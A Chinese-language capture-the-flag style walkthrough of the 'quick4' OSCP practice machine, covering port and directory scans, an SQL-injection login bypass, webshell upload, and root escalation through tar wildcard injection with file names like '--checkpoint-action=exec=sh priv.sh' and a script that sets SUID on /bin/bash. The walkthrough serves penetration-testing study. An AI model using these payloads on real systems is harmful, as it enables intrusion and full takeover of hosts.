OSCP 靶场
靶场介绍
|
quick4 |
easy |
SQL 注入、文件上传绕过和 tar 通配符注入提权 |
信息收集
主机发现
端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -A -p- -Pn -T4 192.168.1.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 07:43 +06
Nmap scan report for 192.168.1.97
Host is up (0.0018s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2e:7a:1f:17:57:44:6f:7f:f9:ce:ab:a1:4f:cd:c7:19 (ECDSA)
|_ 256 93:7e:d6:c9:03:5b:a1:ee:1d:54:d0:f0:27:0f:13:eb (ED25519)
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin/
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Quick Automative - Home
110/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 449.37 seconds
目录扫描
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.97 -x html,php,txt -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.97
[+] Method: GET
[+] Threads: 10
[+] Wordlist: pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.97/.html (Status: 403) [Size: 277]
http://192.168.1.97/.php (Status: 403) [Size: 277]
http://192.168.1.97/images (Status: 301) [Size: 313] [--> http://192.168.1.97/images/]
http://192.168.1.97/index.html (Status: 200) [Size: 51414]
http://192.168.1.97/img (Status: 301) [Size: 310] [--> http://192.168.1.97/img/]
http://192.168.1.97/modules (Status: 301) [Size: 314] [--> http://192.168.1.97/modules/]
http://192.168.1.97/careers (Status: 301) [Size: 314] [--> http://192.168.1.97/careers/]
http://192.168.1.97/css (Status: 301) [Size: 310] [--> http://192.168.1.97/css/]
http://192.168.1.97/lib (Status: 301) [Size: 310] [--> http://192.168.1.97/lib/]
http://192.168.1.97/js (Status: 301) [Size: 309] [--> http://192.168.1.97/js/]
http://192.168.1.97/customer (Status: 301) [Size: 315] [--> http://192.168.1.97/customer/]
http://192.168.1.97/404.html (Status: 200) [Size: 5014]
http://192.168.1.97/robots.txt (Status: 200) [Size: 32]
http://192.168.1.97/fonts (Status: 301) [Size: 312] [--> http://192.168.1.97/fonts/]
http://192.168.1.97/employee (Status: 301) [Size: 315] [--> http://192.168.1.97/employee/]
http://192.168.1.97/.php (Status: 403) [Size: 277]
http://192.168.1.97/.html (Status: 403) [Size: 277]
http://192.168.1.97/server-status (Status: 403) [Size: 277]
权限获取
经过测试发现employee 后台可以进行万能密码登录
'or 1 = 1 -- 进入系统后存在文件上传点
图片马上传成功，但是这里没有返回路径得去找到路径先。
这里存在其他用户，还可以进行任意用户重置
重置后登录到nick 用户，查看图片路径，访问成功。
接下来上传一句话，反弹一个交换shell
获取第一个flag
权限提升
这里查看任务计划，发现定期执行backup.sh 脚本
查看脚本可以看到定期打包网站，这里我们没有权限更改脚本。但是执行的命令行中，通配符 * 可以替换为当前目录中所有文件名的列表。因此我们可以利用tar 通配符漏洞进行提桥，可以参考：https://mp.weixin.qq.com/s/T8kD1RAxs2Z85dEKnz5S1g
www-data@quick4:/home$ ls -all /usr/local/bin/backup.sh
-rwxr--r-- 1 root root 75 Feb 12 06:32 /usr/local/bin/backup.sh
www-data@quick4:/home$ cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *
那么接下来我们创建一个脚本，里面内容如下，给bash 加上特殊权限
#!/bin/bash
chmod +s /bin/bash
chmod +x priv.sh
创建tar将要运行的参数
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh priv.sh"
最后利用bash 提权到root 权限，成功获取flag
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号（贝雷帽SEC）：【OSCP】quick4
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论